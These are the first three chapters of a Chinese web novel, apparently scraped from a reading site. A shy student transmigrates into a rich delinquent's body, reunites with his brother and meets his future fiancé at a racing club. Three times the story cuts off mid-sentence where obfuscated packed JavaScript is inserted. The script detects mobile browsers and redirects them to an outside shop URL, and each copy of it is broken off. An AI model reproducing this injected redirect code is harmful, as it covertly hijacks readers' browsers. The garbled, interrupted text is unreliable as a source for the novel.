《小社恐和控制狂联姻后》 1. 社恐 好热。 身体轻轻的,像是飞在半空,被人推着往后飞…… 飘乎乎暖洋洋的,还有些舒服,这是他羽化飞天了吗? 唔—— 不对不对,这是实验室爆炸把他炸飞了! 苏泽岁倏地睁开双眼,一把扯下盖在他脸上的被子。 他第一反应就是望向身旁高大的仪器,看看他的毕业论文还安好否。 “小少爷终于醒了。” “嗖”地一下,话音刚起,床上的少年就以迅雷不及掩耳之势将被子重新盖到头上,然后一动不动,好像刚才的“诈尸”只是她们的错觉。 护士:“……” ……什么情况? 薄被下,苏泽岁手心冒汗,长睫慌乱地眨呀眨,就着极少量的已知条件,小脑筋疯狂运转。 他自幼父母双亡,与哥哥相依为命,小学时作文开头都是“记得有一天晚上,哥哥背着发烧的我,顶着暴雨去医院……” 再后来,哥哥因癌症英年早逝,整个家就只剩他一个人还活在世上了。 但是!刚才她们却叫自己“小少爷”! 两种情况—— 第一,他是豪门遗失在外多年的真少爷,才被找回;第二,他、他……穿书了! 苏泽岁轻吸了口气,努力回忆着近期看过的书籍中的剧情—— “希尔伯特空间是一个带有内积的完备向量空间,能够容纳无限维的波函数等量子态……” 不对不对,不是这个。换一个—— “f=PMf+(f-PM) ……=∫ψ *(x)??(x)dx”…… 苏泽岁闭紧了漂亮的眼眸,眼前一抹黑。 要不是考虑到自己现在还在装死,他真想拍拍自己的小脑袋瓜子,里面都装了些什么! “已经醒了?嗯,你们去忙吧。” 就在苏泽岁还在崩溃地回忆的时候,病房里响起了另外的声音。 低沉厚重,被岁月浸染,应该属于四十到五十之间的男性长者。 听脚步声,该男性正在朝他走来。 苏泽岁睁开眼,木愣地盯着眼前透着明光的雪白薄被,觉得它还不如是一块因实验室意外爆炸而盖在他脸上的白布,好过现在,让他即将在陌生环境里直面陌生人的质问。 ……是的,他是个重度社恐。 一个一遇到陌生人就冷汗涔涔,一跟陌生人说话就结巴难语,连日常上课需求都无法满足的、重度社交恐惧症患者。 于他而言,陌生人靠近的脚步声,就像是死神镰刀在地上拖拉的声音一般,刺耳可怖,呕哑嘲哳难为听。 下一秒,“死神”揭开了盖在他脸上的被子:“闷在里面不热吗?闯完祸知道怕了?” 重见天日的那一瞬间,苏泽岁立刻手忙脚乱乱七八糟地扯回被子,一个咕蛹,又重新钻进被窝里。顶着被子,坐在床上,像个雪白滚圆的粽子,在肉眼可见地发抖。 苏父、苏母:“?” 跟着进来的精神科医生急忙解释道:“他翻车的时候撞到了脑袋,醒来后性情大变也是有可能的。” 看着被子下还在孜孜不倦发抖的少年,苏母嘴角抽搐了一下。 出事前,他家小儿子是个浑身戾气的混世大魔王,打架喝酒,欺负同学,无恶不作。就算自己错了,也能怼天怼地,一边愤怒地乱砸东西,一边口中说着劳资他妈天下第一。 绝不可能像现在这样,还老老实实、甚至算得上是“乖巧”地待在床上。 “当然,性情大变还有一种可能性——心理创伤。”医生道,“因为知道自己犯了错,害怕父母的责怪而产生的潜意识逃避心理。作为父母,这时候,我们应该多给他点鼓励和关心才对。” 苏父苏母愣了下,然后郑重地点头。 他们在商界政界都是颇有威严的人物,但正是因为事业繁忙,才更加忽视了对小儿子心理的关照。 甚至于昨日是苏泽岁18岁生日,他们都只来得及晚上赶回家给他庆祝。 当然,在他们带着生日蛋糕赶回去之前,就得知了苏泽岁在俱乐部赛车,然后光荣翻车被送进医院的事。 医生分析了下病情,然后起身道:“既然孩子已经醒了,先跟我去办公室开张病单,再取新药吧。” 苏父苏母急忙应下,跟着医生往病房外走去。 三人一个接着一个,刚出走廊没多久,身旁就“啪啪啪”跑过一个白色的身影,带起一阵风,三人齐刷刷地侧目—— 一只白粽子正不要命地往前跑着,露在被子外的小腿笔直纤细、白得反光,迈得飞快。 “岁岁!”苏母最先反应过来,“等等!” 苏泽岁听到呼声,身体猛地抖了一下,然后跑得更快了。 他害怕在医院里待着,更害怕面对什么家人,他不知该说些什么。 他要跑得远远的,跑到没有人得角落里。 但天不尽人意,刚跑几步,他身上的“遮羞被”就被迎面而来的一个高个子男人抽走了去。 倏地一下,医院敞亮光明的走廊照入眼帘,几个白大褂从视线中略过。苏泽岁仿佛又闻到了消毒水刺鼻的气味。 这本来都是他非常害怕的东西,但此时,他却止住了脚步,呆愣愣地站在原地。 “不穿鞋往外跑什么?”苏铭宇皱眉道。 苏泽岁瞪圆了漂亮的眼眸,软唇张张合合,却哑然无声,大脑一片空白—— 哥哥居然、居然健全地站在他面前,没有面容憔悴,也没有躺在惨白的病床上。 是活生生的人,不是冰冷的照片。 “回去穿鞋。”苏铭宇用下巴指了指病房,命令道,“快点。” 他和弟弟相差七岁,聚少离多。但他深知弟弟的臭脾气,没大没小,无法无天,说急眼了甚至能对他这个哥哥动手。 眼见着弟弟迈开小腿,像是又要开跑,苏铭宇不耐烦地捏捏手指,准备用点强硬的手段,直接把人提回去。 好说不管用别怪他动手。 但下一刻,一个柔软的身体却钻进了他怀里:“哥哥……” 少年的嗓音清亮悦耳,又软又乖,还带着一丝哭腔,听起来像是受了天大的委屈,任谁也不能不心软。 苏铭宇懵了一瞬,正要逮人的手停在空中,下意识看向不远处的父母。 平日里,苏泽岁愿意直呼他大名都算心情不错了,更多时候,都是咬牙切齿地绕着他走。现在……吃错药了? 见父母面露难色地指了指脑袋,苏铭宇瞬间秒懂了。 不是吃错药了,是撞到脑子了。 既然向来宝贝小儿子的父母都没什么大反应,应该问题也不大。 苏泽岁从他手中抽走被子,重新披到了自己身上。 一般人披被子都是从肩膀披起,将毛茸茸的脑袋露在外面;他不一样,他喜欢把被子顶在头上,浑身上下只露一双小腿在外面。 感受到手中拽被子的力度,苏铭宇还以为弟弟又要搞什么鬼,但对上那双清澈剔透、湿漉漉看着他的眼眸,他瞬间默然。 苏泽岁包好自己后,张开手臂,又要抱哥哥。 他很喜欢拥抱,因为很有安全感。 苏铭宇眉头紧皱,刚想说“矫情,自己走”,就被苏母打断了:“他赤脚站地上凉,你抱下他。” 苏铭宇:“……” 哥哥冷脸抱着弟弟回去穿鞋,口上也不忘算账:“刚成年就敢去飙车。现在进医院了,老实了?” 苏泽岁将下巴垫在他肩膀上,不答话。 看在哥哥失而复得的面子上,他已经接受穿越这件事了,背黑锅就背吧。 “过两天我带你去俱乐部注销ID,以后都不准再玩极限运动了。”苏铭宇严肃地道。 苏泽岁皱了皱脸:“不……” 不要去人多的地方。 “行也得行,不行也得行。”苏铭宇面无表情地威胁道:“再敢去俱乐部乱搞,我让你周一去国旗下当众念检讨,检讨书就叫《飞驰少年不服输,翻车之后服气哭》。” 像他弟弟这样年纪的少年最好面子。 果不其然,他话音刚落,苏泽岁就在他怀里挣扎了两下,真要被他吓哭了:“不、不行……” 苏铭宇没想到撞到脑袋的弟弟竟然变得这么好忽悠。 他有点好笑,但逮着机会,肯定更要好好教育一下:“怎么不行?到时候我还要把你的黑历史录下来传网上,让大家都看看,胡作非为、漠视生命是什么下场。” 苏泽岁眼前一黑。 随着哥哥的话,他好像真的感觉到自己正站在主席台下,面对全校同学的目光,以及线上网友的议论,一个字一个字往外蹦检讨书上的内容,如芒刺背如鲠在喉如坐针毡…… 穿越本就是个极耗体力的事,经历了大悲大喜,又被苏铭宇这么一吓,苏泽岁感觉自己两眼一抹黑之后,就再没亮起来,脑回路直接断线。 苏铭宇感觉到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195330|150809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀一沉,一侧首,就见弟弟又闭上了双眼。 “不才醒吗?倒头又睡了?”他才刚走到病房门口。 弟弟脑袋一歪,不管不顾地睡了,就只能他这个哥哥来帮小孩穿鞋、收拾东西了。 “医生怎么说?”他放轻了声音,回头问身后的父母。 “俱乐部保护措施做得好,他身体没什么问题,就是精神上留下了创伤,性情和记忆发生了些变化,静养些时日自然就没事了。”苏母道。 苏铭宇皱了皱眉。 弟弟小时候喜欢粘着他,经常要他抱,就跟精神创伤后的现在一样。他觉得苏泽岁可能是中间这段时间的记忆出现了短暂性遗失或者混乱。 “医生说现在就可以出院了,岁岁讨厌医院的消毒水味,你抱下他,回去吧。”苏母道,“我和他爸请了几天假,这几天在家陪陪他。” 苏铭宇试着把弟弟身上的被子扯下,但小孩抓得很紧。他没办法,只能又连人带被地将其抱起来。 他一边将弟弟往上拖了拖,一边道:“我们家之前跟顾家有过婚约,岁岁现在又已经成年了,恰好顾家那位今天也在瑞康医院,我方才去跟他约了时间。他就这周末有时间,到时候安排两人见见吧。” 苏母蹙起眉头:“只是多年前的口头承诺。别的人见见也就罢了,可听闻顾家那孩子脾性古怪,暴戾嗜血,家里四四方方全是监控,想都不用想就知道不适合岁岁。” “就算不适合也该苏泽岁自己拒绝,他长大了,有些事该自己面对。你们把他保护得过好了,才让他愈发肆无忌惮、任意妄为。早该让他见识见识社会险恶。” 苏母理智上明白自家大儿子是对的。 她默然地看着电梯下降到一楼,许久后才开口:“他也在医院?” 苏铭宇知道她话里说的是谁,接话道:“意外受了点伤吧。” “意外伤?他做的是正经行业吗?”苏母对小儿子未来的相亲对象天然抱有不满,眉头紧皱道,“以我多年看人的经验,像他这样浑身上下不见正气、唯剩怨戾的人,定是为达目的、什么血腥的事都能做出来。会受伤八成是被人报复了。” “岁岁只是小调皮捣蛋,但心地还是善良的,是好孩子。让他见这种实打实的恶人,我实在是不忍心……” 苏家几口人的话音逐渐远去。 长廊转角处。 一个身形修长、背部挺拔的男人站在避开透窗阳光的阴影里,漫不经心地把手中剩余的绑带丢进垃圾桶里。 距离不远,几人的话尽数落入他本人的耳朵里。 换了正常人,被如此控诉,该尴尬愤怒得无处遁形;要是换了不要脸的疯批,许会笑着拍拍手,说着“有趣”。 但男人的反应两不靠,他始终低垂着眼皮,脸上的情绪一如既往的、稳定的很差,看起来满不在乎。 “顾先生,你、你怎么重新包扎了?!”管家急冲冲地从转角电梯里跑下来,一出来就看到了垃圾桶的中染血的绷带。 男人不紧不慢地收起拍完照的手机,道:“伤口又裂了。” 说完,他又补充:“别告诉他们。” 管家忙不迭点头,他哪敢给那人通风报信啊。 见男人脸上对此事的明显厌恶,他转移话题道:“顾先生,刚才我暗中跟着苏家那大少爷上了楼了。我花了点时间,打听出他家小儿子的病情和事故原因了。” 他想让男人开心点,就故作神秘地说:“不过首先啊,还是先说说他那长相……” “等等。”男人打断他。 向来对他唯命是从的管家立刻噤声,等待着更进一步的指示。 苏家小少爷长得惊为天人,睫毛又长又密,跟混血儿一样,又跟男人幼时定下婚约。他想男人定是想再盘问一下其中细节。 然后就听对方说:“我不想知道。” 管家:“?” “我对蚕蛹没有兴趣。” 他从北边电梯下来时,长廊另一头的苏家几人在他视线中一闪而过。远远的,那用雪白被子包得严严实实、一根头发丝都不露的人格外显眼。 连走路都被裹起来抱在怀里,显然是溺爱过了头。 他对这种温室中的娇花不感兴趣。别说是听管家描述对方,哪怕是有现成照片,让他掀起眼皮看看对方的长相如何,他都嫌浪费时间。 言简意赅的他自己是省时间了,可怜的管家却一头雾水地:“???” 什、什么蚕蛹?哪来的蚕蛹? 2. 声控 苏泽岁再醒来时已经是傍晚了。 他被放在了卧室软绵的床上,盖上了家里的花里胡哨的被子。 这里的布局跟他穿越前小时候的家里很像,只是装修更华贵,柜子上摆满了高奢玩具,少见的几本书还是模型书。 所以苏泽岁费了九牛二虎之力,才弄清了这个世界的他的状况—— 他出身豪门,父亲从政,母亲从商,一辈子吃喝不愁,却不懂得好好珍惜,反倒成了纨绔子弟,在学校欺负同学,在家里乱发脾气,在外面无恶不作。 让老师叹气,哥哥头疼,父母惋惜,可谓是无法无天的混世大魔王是也。 他读书早,但逃学、留级、休学却是样样精通,导致十八岁了,开学才高二。 在苏泽岁翻房间找线索的时候,客厅里总是传来若有若无的争吵声。 房门隔音很好,隐隐约约听上去,应该是苏母在冷笑着地评价什么人,一贯沉默寡言的苏父时不时附和,而他哥哥一直在劝说。 这样的修罗场剧情是小小社恐苏泽岁无法承受的,所以饥肠辘辘的他一直在等,等外面不吵了,他去找点吃的。 等着等着,房门突然被敲响了。 苏铭宇的声音隔着门传来:“醒了吗?出来吃蛋糕。” 苏泽岁眼眸一亮,忙不迭打开房门。 餐桌上,法国定制的三层蛋糕摆在正中央,周围是一圈特色又精致小甜点,衬出梦幻的氛围。 但一家四口间的气氛却很是古怪。 苏泽岁几乎是贴着苏铭宇在坐。 苏铭宇严厉地提醒了他几次“坐有坐相”,小孩格外乖巧地点点头,挪着凳子坐回原来的地方。但没过多久,他就又挪一下、挪一下,挪回来继续贴着他。 苏泽岁专心致志埋头干蛋糕,就算拿小甜点也不抬头,而是偷偷摸摸地伸叉子,叉进去,然后迅速把小甜点收回来。 不像是过生日的主角,像是在偷吃的小乞丐。 搞得苏铭宇一点脾气都没了。 苏母慈爱地笑笑,拿了个又大又红的草莓,放到小儿子的碟子里:“多吃点。” 看着餐碟里色泽鲜亮、红嫩多汁的大草莓,苏泽岁愣住了。 感受到他身体僵硬的苏铭宇却心道不好。 自家父母工作繁忙,不了解苏泽岁,可他却实打实地知晓自己弟弟的臭脾气。这种怔愣往往只是他脾气爆发的前奏,接下来就该毫无征兆、蛮不讲理地掀桌子了。 死小孩不知道在哪个电影里看来的场景,一不顺心,最喜欢的就是掀桌子。或许是觉得这样的自己也很帅。 苏铭宇庆幸自己这回换的是大理石的餐桌,苏泽岁细胳膊细腿的应该掀不动。 他绷着严厉的脸,酝酿着说辞,准备教育教育横行霸道的弟弟。 家里新买的戒尺或许该发挥作用了,他不介意在这么快乐的时候揍孩子。 但下一秒,身旁就传来细若蚊蝇的声音:“谢、谢谢……妈妈……” 少年的声音很轻很软,细细弱弱,后面的那声“妈妈”更是几乎降成了零分贝的气音,听不真切。 但苏母却笑得直弯眼眸,脸上是从未有过的愉悦与满足:“嗯,乖宝宝,生日快乐。” 苏铭宇也懵了,半天才反应过来,他弟弟现在“性情大变”,不是之前那个对家人也冷言冷语、充满恶意的败家子了。 他看向吃东西也要紧贴着他的苏泽岁—— 明明是同一张脸,气质却截然不同。少年白皙的腮帮子鼓鼓的,像小仓鼠一般,正在开开心心地草莓,嘴角还沾了些许雪白的奶油。 苏铭宇心软了一下。 他莫名有了种错觉,好像这个摔了头、变得不正常的少年,才是他弟弟本该有的样子。 *** 或许是穿越带来的后遗症,连续几天晚上,苏泽岁都做了噩梦。 梦里的场景总是在换,有时候是人吃人的末世,有时候是在boss横生的无限流世界,有时候又是在治安混乱的异国他乡。 唯一不变的就是他炮灰的身份。 他总是在被人追,被人赶,命悬一线,心中害怕却又茫然无措。 好在到了关键时期,总会出现一个很厉害的大佬,手段强硬,人冷话不多,然后救他于水火之中。 他看不清对方的脸,但却仍能从对方身上汲取满满的安全感和可靠感。 苏泽岁将其归结于自己心中的踏实感不够,他去库房将原主小时候的毛绒玩具找了出来,洗洗干净,打算晚上抱着一堆小兔子小熊猫小海豹睡觉。 除了这个小噩梦插曲外,他对新世界适应得还不错。 他忘了穿越前的很多东西,但却拥有了很多新的东西,他有了无条件包容他的父母,有了失而复得的哥哥。他很满足,有时候也能克服社恐,跟爸爸妈妈简单说两句话。 这天,苏泽岁在客厅的角落的书柜里发现了几本书。 那熟悉的封面,熟悉的小红、小黄、小蓝,光是看一眼就感觉头发要掉光了。不正是物竞生的噩梦,竞赛教练的法宝——《费曼物理学讲义》《金牌之路》《更高更妙的物理》吗? 苏泽岁漂亮的眼眸亮了起来。 他拉着苏铭宇的衣角,把哥哥拉到角落里,然后才指着书柜里的书道:“要学。” “药学?”苏铭宇顺着他的手往柜子里看去,看清楚后,好笑道:“傻孩子本来只是脑子撞坏了,现在眼睛也不行了。” 闻言,苏泽岁皱了皱小脸。 不敢瞪哥哥的他,鼓着白皙的脸颊,瞪着哥哥拖鞋上卡通小狗的豆豆眼,咬字清晰地重复道:“我要学。” 这回苏铭宇听懂了,更震惊了。 他比苏泽岁高半个多头,一抬手就把自己高中时的书拿了下来,在弟弟面前晃了晃:“你确定?你要学这个?” 苏泽岁满意地点了点头。 苏铭宇将书丢在桌上,面无表情地拎起弟弟的后领,往大门拖去:“走了,精神病院挂急诊。” 看着越来越近的大门,苏泽手忙脚乱地挣脱哥哥的桎梏,慌乱道:“不、不去。” 社宅宁死不出门。 “好了不闹了。”苏铭宇松开手,从玄关拿出Speedsters俱乐部的会员卡,挂在弟弟脖子上,“书的事回来再说。正好今天有空,去把赛车俱乐部ID注销了。” 苏泽岁仍顽强抵抗:“不、不去。” “本人不去没法注销。还是你打算以后再去飙车?嗯?”苏铭宇皮笑肉不笑地看向弟弟,气场自带血脉压制的buff。 最后的最后,苏泽岁只来得及揪个鼓鼓的双肩包,就被苏铭宇拎走了。 飞驰的黑色库里南内。 苏铭宇一边打着方向盘,一边瞥了眼身旁全副武装、如临大敌的弟弟,道:“你是大明星啊?” “唔?”苏泽岁转头看向哥哥。 他刚戴上棒球帽,遮上口罩,准备再从小背包里将墨镜拿出来。见苏铭宇半天也没下文,他犹豫了一下,还是翻了下包,把oversize的墨镜架在了挺翘的鼻梁上。 安全感满满! 苏铭宇一路疾驰,两人很快便来到了俱乐部门口。 他停稳车,顺手抽走了苏泽岁的墨镜:“别的就算了,墨镜别戴了,也不怕里面光线暗,给你平地摔一跤。我在停车场等你,去吧。” 若是以前,他肯定要领着弟弟,亲眼看到他的ID注销,免得他耍什么小心思。但现在,看着面前拘谨又紧张的少年,他决定在人场里通情达理地给对方一个面子。 苏泽岁下了车,委婉反抗的措辞还没想好,黑车就“嗖”地直直飞向停车场,只留下他一个人在扬起的尘土中凌乱。 苏泽岁瘪了下嘴,双手将棒球帽帽檐“啪啪”地往下用力拍了拍,无言地向空气表示自己的小小不满。 就在此时,恰好有人从俱乐部大门走出来,看到他的动作,似乎好奇地将视线投向了他。 苏泽岁倏地僵住动作,梗住脖子,小步小步迅速缩到无人问津的角落里。 ……他是空气,不要看他。 等了一会,见哥哥真打算让他一个人去注销会员ID,苏泽岁只能不情不愿地接受事实。 他不敢跟陌生人说话,只要一开口,就心跳加速、结巴难语,以前在学校里都被人追着喊“小哑巴”。 正所谓社恐真言:“粉身碎骨全不怕,只怕开口说句话”。 “您、您好。这这这是……不对不对。” 反反复复练了好多遍,他才把一句简单的话说顺畅—— “您、您好,这是我的会员证,我要永久注销ID,谢谢。” “您好,这是我的会员证,我要永久注销ID,谢谢。” “……” 确保这几句话成肌肉记忆了,苏泽岁才悄悄地掀起帽檐,偷瞟着,将到俱乐部前台的路线默默记下,然后重新盖下帽檐,继续盯着脚尖,缓慢移动起来。 “您好,这是我的会员证……” 他一边盯着脚下的地毯,一边继续默念。就像排队要背诵课文的小学生一样。 “我要永久注销ID……” “砰”的一下,不看路的苏泽岁不出意外地一头撞上了什么人的后背。 背书背魔怔了苏泽岁脱口而出:“谢谢、谢谢……” 若不是能闻到对方衣服上清冷的皂荚香,他真要怀疑自己是撞上了一座大山——对方自岿然不动,他却眼冒金星地往后退了好几步。 “不对不对。”苏泽岁捂着帽檐,头晕地改口道,“您好,这是我的……” 片刻后,语言系统贫瘠的他才猛然反应过来不对劲,话音急转直下地回到正确频道:“……对对对不起。” 苏泽岁心跳如鼓噪,口罩下,脸一路红到了脖子。他死死低着头不敢看对方,仿佛棒球帽就是他最后倔强的保护壳。 空气沉默着,就在苏泽岁以为对方已经走开时,头顶轻飘飘、阴森森地落下的一句:“哪个是你的对对对不起?” 独属于成年男性的嗓音,伴随着自己如鼓点般密集吵闹的心跳声,传到了苏泽岁耳中。 低沉、磁性,带着些许天然的慵懒和戾气,有种难以言喻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几分钟后,他顺利排到了前台队伍末尾。 也不知今天的黄历上是不是忌出行,又过了十几分钟,刚要排到他,一只胳膊就搭上了他的肩膀,一股汗臭味随之飘来。 苏泽岁应激地浑身一哆嗦,就听身旁人凑到他的耳边道:“你好,我叫Rocco,认识一下?” “我、我……” 面对这突如其来的社交,他怕得发抖,就像被人捏住了嗓子一般,说不出话来。 Rocco却丝毫不察,甚至十分自来熟地隔着口罩捏了捏苏泽岁的脸颊。 少年将自己遮得严严实实,唯独露出一双清澈灵动、灿若星辰的眼眸,眼尾还有一颗浅淡的泪痣,随着口罩的微动而若隐若现。一看就知道定是长得漂亮惹眼。 被他这么搭讪,居然会紧张到长睫颤抖,就像蝴蝶起飞前扇动的翅膀,可爱极了。 赛车俱乐部玩得比酒吧还花,Rocco感受着手指间紧致又柔软的触感,舔了舔嘴唇:“别害羞嘛,Speedsters Club有附属酒店,如果肯赏脸的话,今天晚上……” 苏泽岁学不懂拒绝。 但对方似乎将这份沉默当成了默许。 他能感觉对方的另一只手正顺着他的肩脊往下滑,许是把他当成鸭子了。他想挣脱,可身体却不受控制。 ……哥哥救我。 他猜想自己应该抖得很厉害,看起来很可怜,因为Rocco的名片还没来及塞入他的口袋,下一秒,整个人就从他身上飞了出去。 毫不夸张,真的是……“哧溜”地飞了出去,然后“砰”地倒在距他半米远的地上。 苏泽岁倏地回头,就见踹人的男人正排在他身后,无所谓地垂着眼皮,像是在看死人。 男人比他高了快一个头,身材优越,面容深邃俊朗,鼻梁笔挺,薄唇不耐烦地抿成了一条直线,周身地狱修罗般的气场铺面而来,压迫感极强。 他额前的乌发上还沾染着细碎的水珠,应该是刚赛车完洗了脸。 苏泽岁正犹豫着是该说声“谢谢”,还是该退到一边、让男人先在前台办事,Rocco突然站起来,攥着拳头,朝着男人扑了过去。 苏泽岁下意识紧闭上了双眼。 一阵拳头着肉的击打声停下后,他才将眼睛重新眯开了条缝,只见Rocco又躺到了地上,正捂着腹部,哀嚎道:“俱乐部安保呢?!你敢在公众场合这么打人!还有没有王法了?!” 苏泽岁能看到,俱乐部的保安就站在不远处,却丝毫没有上前来替Rocco出头的意思。 周围人忌惮男人地往后退着,但也在八卦地窃窃私语,小声说什么“可怕”“没办法”“俱乐部他家投资的”之类的话。 Rocco显然也听到了。 向来自诩举世无双花花公子的他,当众出了这么大的糗,此时脸色又红又绿,梗着脖子威胁道:“再有钱有权又怎样?我到你家企业去闹,在网上曝光你的恶行!让你身败名裂!呵,到时候看你家长辈怎么收拾你。” 苏泽岁神游海外,不在状态,还在默默感慨男人肌肉线条不突兀,没想到爆发力很强。 下一刻,一直沉默的男人终于开了尊口,声音平淡,却夹杂着戾气:“没人能管我。” 苏泽岁猛地抬起头,瞪圆了眼眸,直直地看向男人。 ——这嗓音……是他在门口不小心撞到的人?! 3. 好人 苏泽岁脑海中突然浮现出这几天做的噩梦。 危机四伏的恶劣梦境里,求生不得,求死无法,那个不顾安危救他的人,倏地有了同一张脸。和面前的人一样的脸。 周围的人群忌惮打人的男人,纷纷往后退了好几步。 以他们为中心,四周瞬间空旷了下来。没了陌生人的靠近,苏泽岁一直僵硬的脊背终于放松了下来。 就在他想开口说些什么的时候,Rocco咬牙切齿地打断了他:“大庭广众,殴打他人。等着收律师函吧,我会请最好的律师团,要告到你身败名裂!” 男人没有反应,看起来很不在乎。 但正是这样的一副冷漠的反应,更让人越想越气。Rocco勉强撑起身,突然发难,一把抓住了男人的手腕,看起来就像是要跟他同归于尽一般。 就算隔得很远,苏泽岁也能听到人群中传来阵阵抽气声,以及急速退后的脚步声,像是在畏惧着什么。 果然,下一秒,男人皱眉轻“啧”了声,当着所有人的面,摩挲了下指腹,然后手腕侧转,骤然收紧!他骨节分明的手上青筋明显,显然用力不小。 刹那间,两人的主导权颠倒! 男人毫不留情地抓住Rocco的小臂,用力一拧。 骨骼“咔咔”错位的声音传来,紧接着,是Rocco痛到失声的惨叫声。 男人松开手,居高临下地看着地上扭曲的Rocco,语气比先前还凉了几分:“俱乐部的监控坏了,安保口供一致,再经周围群众取证,是你……” 苏泽岁感觉对方的视线落在他身上一瞬,又迅速移开。 但他满脑子都是对方低沉悦耳的声音,感觉耳朵都要怀孕了,没有意识到个中说辞的用意。 “是你挑衅我在先。”男人转了转手腕,继续道,“我的一切行为属于正当防卫。” 老油条Rocco自然能听出他的弦外之音,满嘴喷粪道:“你!!%#&*#他妈不得好死!” 男人被骂了也不恼怒,反而面无表情道:“上帝全知慈爱。God bless you.” 他在“全知”上咬了重音,更把Rocco气得七窍生烟,但还没来得及继续口吐芬芳,就迅速被安保人员给拖走了。 在Rocco混乱的挣扎声中,苏泽岁听到不远处有个女孩子小声惊叫了下,口中说着“好帅好帅”。 但她身边的朋友闻言却抓着她的肩膀摇晃,给她科普这个男人有多可怕暴戾无恶不作、不要被脸骗了啊喂! 看着女孩瞬间呆愣了的表情,苏泽岁默然无言。 男人扫视了周围一圈,然后看热闹的群众立马作鸟兽散,逃一般地跑了。 经此一事,也没人还敢往“事发现场”凑,整个前台队伍里瞬间就只剩下他们两个人。 想着女孩朋友的话,苏泽岁沉思良久,然后才转向男人,很不熟练地小声夸道:“你很帅。” 说完,他又觉得这话听上去很敷衍,急忙搜刮了一下贫瘠的词库,补充道:“你、力气也很大。” 不知道是不是他的错觉,他感觉面前的人动作似乎顿了一下。 这时,苏泽岁这才反应过来,他全程低着头,似乎没怎么仔细盯着对方的脸看。 为了证实自己苍白夸赞的可信度,他急忙抬起帽檐看向了对方,然后在对上对方漆黑视线的一瞬间,又立刻低下了头。 男人眉眼深邃,眼眸是幽深的墨黑色,就算在灯光明亮的俱乐部大厅内,也不见一丝光亮,像深是不见底的黑洞,能将人吞噬其中,又阴又沉。 “嗯。”男人很快便恢复自然,淡然应话后,掏出口袋中的SVIP卡,准备去到前台。好像刚才的冲突根本只是个无关紧要的插曲。 刺眼的殷红色一闪而过。 苏泽岁愣了下,急忙拉了下他的衣角,白皙的小手指了指他的手臂:“血。” 顺着他的力度,男人停下了脚步,低头看向自己的手臂。 因为方才的用力,小臂上的伤口又裂开了,鲜血透过绷带,染在了雪白的长袖上,格外刺目。 苏泽岁急忙取下双肩包,手忙脚乱地在里面翻找起来,翻了半天,也只找到几个创口贴或许勉强有用。 看着少年递过来的、印着卡通玩偶的卡哇伊创口贴,男人没有接,而是冷漠拒绝:“不用。” 这件事因自己而起,苏泽岁眼眸急得都蒙上了一层水雾,站在原地手足无措。 此时,他听见对方又道:“伤口裂了,回去再包扎一下就没事了。” 苏泽岁也知道自己这几个小创口贴派不上大用场。 他想关心一下对方,但奈何很不会聊天,憋了半天,也只生硬地憋出了一句:“怎么、弄的?” 男人看着一直拦在自己身前不让行的少年,皱眉思索了片刻,然后才随口扯道:“扶老奶奶过马路不小心被车蹭到了。跟你的事没关系。” 苏泽岁震惊了。 他没想到,面前的这个人不仅这么厉害,还如此善良、正义、宽厚,会扶老奶奶过马路! 从小算命的就告诉他,他命里很容易犯小人。长这么大以来,他遇到的陌生人,要么是像Rocco那样对他动手动脚的人,要么是背后诋毁他、当面欺负他的人。 但在今天,他居然遇到了一个这么好的人! 苏泽岁感动得热泪盈眶,瞬间觉得男人身上正义的光芒,甚至盖住了那好听嗓音带给他的冲击。 男人绕过了他,丢下一句:“不是也要永久注销ID吗?来看流程。” 闻言,苏泽岁连忙凑上前台,第一眼就被男人放在桌上的、那熠熠生辉的黑金卡给闪到了。 Speedsters赛车俱乐部全世界闻名,改装技术、设备租赁等服务极为顶尖。成为VIP、SVIP,少说也得往俱乐部投几百上千万。 因涉及金额巨大,注销账号必须有本人在场,且一旦注销,不仅只能收回百分之二十投资,还会被俱乐部拉黑三年。 所以不到万不得已,没人会选择注销。 除了两种可能——家里破产、急需用钱;或者,家里长辈不理解,被要求注销退圈。 苏泽岁是后一种情况。 那么……他会是什么情况呢? 注销会员身份的流程繁琐而枯燥,签书面申请、签退资合同、返还物件……甚至还要在手机上一并注销电子ID。 作为大股东,男人显然很熟悉流程。 苏泽岁小脑袋被好奇心塞满,流程不进脑子。但由于担心男人手臂上的伤口得不到及时治疗,在对方朝他瞥过来时,他还是会重重点头,表示自己记住了。 “这是您费用清算,以及会员更新记录的书面文件。感谢您曾选择了Speedsters俱乐部,希望有缘再会。”工作人员深深鞠躬,双手递上文件,按照程序说着该说的话,只是声音在微微发抖。 男人接过文件,看了苏泽岁一眼,道:“再见。” 苏泽岁急忙挥了挥小手,目送着那笔挺的背影远去后,才做着复读机,小声喃喃:“有、有缘再见。” “您好,您也是来注销会员ID的吗?”前台工作人员恭敬又小心地说道。 苏泽岁转过身,点点头,小心地取下脖子上挂着的ID卡,在心里又默念了一遍刚才在那张鎏金黑卡上看到的名字—— 顾熠阑。 …… 有了顾熠阑前面的铺垫,工作人员操作愈发熟练。 苏泽岁注销ID的流程过得很快,全程都不用说什么话,只用低头签字签字签字。对社恐非常友好。 拿到了注销证明,他就压低帽檐,一秒不耽误地跑向停车场。 “怎么了?脖子红成这样?”苏铭宇奇怪地问道。 苏泽岁这才反应过来,自己的心跳得很快,口罩下面的脸更是红得发烫。 他将注销证明递给哥哥,一边系安全带,一边有些心虚地小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 